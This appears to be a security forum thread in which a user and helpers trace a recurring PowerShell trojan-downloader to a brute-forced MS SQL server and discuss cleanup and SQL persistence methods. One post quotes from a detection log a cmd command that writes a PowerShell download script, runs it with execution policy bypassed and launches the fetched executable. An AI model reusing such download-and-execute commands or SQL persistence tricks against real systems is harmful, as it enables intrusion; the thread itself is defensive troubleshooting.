PowerShell/TrojanDownloader.Agent.EDX Malware

[joeardouin 0]

Please help to clean this trojan, thank you!

efsw_logs.zip

[Marcos 5,442]

Please provide:
1, %TEMP%\update.ps1
2, a Procmon boot log (stop logging only after the threat has been detected after a reboot)
3, fresh ELC logs after generating the Procmon log.

[joeardouin 0]

Hello Marcos,

Thanks for your attention.

1 - Couldnt find probably deleted .

2- Attached

3-Attached

 

efsw_logs.zip Bootlog.rar

[Marcos 5,442]

The last detection occurrence is from yesterday, ie. the Procmon boot log cannot contain information related to the threat and its subsequent detection. PowerShell was not executed while the Procmon log was being generated.

3. 11. 2022 2:38:35    AMSI scanner    file    script    PowerShell/TrojanDownloader.Agent.EDX trojan    blocked    NT SERVICE\MSSQLSERVER

[joeardouin 0]

Hello Marcos,

Thanks for your help. The threat repeating without any schedule. ESS keep blocking the script but still cannot detect source of the script.

Anyways thank you again

[Marcos 5,442]

Perhaps you could try to find a pattern based on the time of detection. Does any specific event / action happens at that time? E.g. the server is rebooted, a specific database was opened, etc.

[joeardouin 0]

I will try.
Thank you Marcos

[itman 1,799]

I suspect the PowerShell script is most likely contained within another script; e.g. command script, and is most likely obfuscated making it difficult to identify.

You could create a temporary HIPS rule to block C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe startup assuming you are not using custom PowerShell scripts for anything. The Eset HIPS log will then contain an entry showing the startup process of PowerShell. Then, search for that script on your PC.

[joeardouin 0]

Hello itman,

Thanks for your attention. I created HIPS rule right now so i am waiting.

Thank you very much

[itman 1,799]

The Eset log entry;

3. 11. 2022 2:38:35    AMSI scanner    file    script    PowerShell/TrojanDownloader.Agent.EDX trojan    blocked    NT SERVICE\MSSQLSERVER

does show the source of this script execution. It is MSSQLSERVER; i.e. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe. One possibility here is its service entry has been modified to run this PowerShell script. If this is the case, it should show where the script is located.

Edited November 3, 2022 by itman

[Marcos 5,442]

It could be a stored procedure in a MS SQL database that contains the threat which gets executed via the EXEC statement.  Check the existing stored procedures for a suspicious code.

[JamesR 58]

Looking at your detection logs from the ELC, I can see that originally you had a BAT/Runner.FJ trojan from Oct 29-31.  Then starting on Nov 1st, it changed to a Powershell/TrojanDownloader.  What is interesting is that the BAT/Runner.FJ detections show:

• 10/31/2022 11:15:29 AM    Command line scanner    file    C:\Windows\System32\cmd.exe    BAT/Runner.FJ trojan    cleaned by deleting    NT SERVICE\MSSQLSERVER    Event occurred while attempting to run the following command: "C:\Windows\System32\cmd.exe" /C "echo $client = New-Object System.Net.WebClient > C:\Users\MSSQLS~1\AppData\Local\Temp\update.ps1 & echo $client.DownloadFile("<snippedURL>","C:\Users\MSSQLS~1\AppData\Local\Temp\OBKLH1X4.exe") >> 😄\Users\MSSQLS~1\AppData\Local\Temp\update.ps1 & powershell  -ExecutionPolicy Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\update.ps1 & WMIC process call create "C:\Users\MSSQLS~1\AppData\Local\Temp\OBKLH1X4.exe""    3352E2206ED375E648C9EA7B5171AC2CA4FCAF88        
   

As you can see form the bolded underlined parts, it indicates these actions are definitely being done by your MS SQL server.  I suspect your SQL management ports are exposed to the internet and you have successfully been brute forced and had some SQL persistence installed.  You can use the following NMAP scans to try and see if your SQL ports are exposed to the internet.  Just ensure you perform the scans from a computer on a different public IP.  Scanning from a computer on the same public IP can lead to an incorrect scan results:

1. nmap -Pn -sV -p 1433-1434 %PublicIP%
2. nmap -Pn -sV -F %PublicIP

There are many types of SQL Persistence, and if your MS SQL is hosting more than one database, each database will need to be checked.  If you are having problems checking these, let us know and we can see about starting a DM to do some more specific SQL troubleshooting.  You will be looking for the following types of MS SQL persistence:

• Stored Procedures
  • At start of MS SQL service, a procedure will start and execute ever certain amount of seconds/minutes/hours
  • A stored procedure can be "encrypted" to hide its definition from being easily seen
  • More info on Stored Procedures here: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
• Triggers
  • DDL Triggers - Data Definition Language Triggers
    • Server based triggers which can be set to execute when specific queries like CREATE, ALTER, or DROP are used
    • These triggers can be "encrypted" to hide the definition from being easily seen
  • DML Triggers - Data Manipulation Language Triggers
    • Database based triggers which can be set to execute on specific queries like INSERT, UPDATE, or DELETE
    • Untested if these can be "encrypted" but it should be assumed that they can be encrypted as well
  • Logon Triggers
    • As their name implies, these are triggers which execute queries whenever a user logs in to MS SQL. And can theoretically, prevent a user from logging in.
    • Untested if these can be "encrypted" but it should be assumed that they can be encrypted as well
  • More info on Triggers here: https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
• Other notes
  • In order to allow MS SQL to execute external applications, the use of advanced options is needed.  You will want to check and disable these settings (Ensure you make not of what you changed, and monitor your SQL server for any issues afterwards.  Your SQL server may have legitimately been using these settings)
    • "show advanced options" - Allows the following settings to be used
    • "xp_cmdshell" - Allows MS SQL to directly execute external applications like Ping.exe or any other executables on disk.
    • "Ole Automation Procedures" - Allows MS SQL to execute Windows Script Host and VBScript macros, which allows wscript.shell to execute other executables on the computer's disk, without the use of xp_cmdshell.
    • "clr enabled" - Allow you to store .net code inside of SQL which can be executed by a stored procedure. This is one of the more powerful ways of providing code execution to SQL. But these should easily be spotted when reviewing all stored procedures on a server.

[joeardouin 0]

Hello again,

I blocked powershell with group policy and i think it works but i wanted to deep dive in it and i disable group policy and enable powershell again.
And voila...

ESS blocked EDX again. Then i checked the event viewer and i think find something interesting. In the picture below, there are 8-10 attempts to login sa.

Then it starts to change configuration options..
Finally something is happening to master.dbo (i couldnt understand)

 

[joeardouin 0]

I think i found something

[itman 1,799]

5 hours ago, JamesR said:

I suspect your SQL management ports are exposed to the internet and you have successfully been brute forced and had some SQL persistence installed. 

I would say the most important point to address is the attacker appears to be gaining remote access after 8 - 10 logon attempts which is an unbelievably low number as far as brute force attacks go. Is the password being used a strong one and not one that can be easily guessed.

It should be noted that Eset's RDP brute force protection default is 10 logon attempts with a blacklist retention period of 10 mins. on my installation. However, Eset on-line help states that the default blacklist retention period is 30 mins.?

Quote

Blacklist retention period (min) – Sets the time for the address expiration from the blacklist. The default time period for counting the number of attempts is 30 minutes.

-EDIT- Reviewing the above event log screen shot, I see at least 14 logon attempts starting at 6:37 PM. If this was a RDP based attack, Eset RDP brute force logon protection should have kicked in after the 10th logon attempt.

However if the attacker could find an open inbound port on any network protection firewall component, he could perform a brute force logon attack using that port. Eset brute force protection would be N/A in this case.

This article is worth a review: https://bobcares.com/blog/account-lockout-threshold-sql-server/

Edited November 3, 2022 by itman

[itman 1,799]

BTW - are you using the default RDP port of 3389?

There was a recent issue on Eset consumer product versions when the port was changed to another value, Eset RDP brute force detection didn't work.

[joeardouin 0]

Hello again,

Thanks to James we are almost sure the problem is my SQL Server. Password is kind a easy i guess so they easily bruteforced and add their own procedures that download trojan.

So in the beginning i close sql ports from internet

then remove unnecessary procedures also disable settings which should be off by default

also reset sql and windows passwords

In my situation blocking public IP's will be difficult but i will try.

Thanks for all 

 

 

[Nightowl 206]

Keep in my mind , the longer and more complicated the password is , more time the brute-force will take or might even become impossible if the password is long and complicated enough

it would take very long time to finish.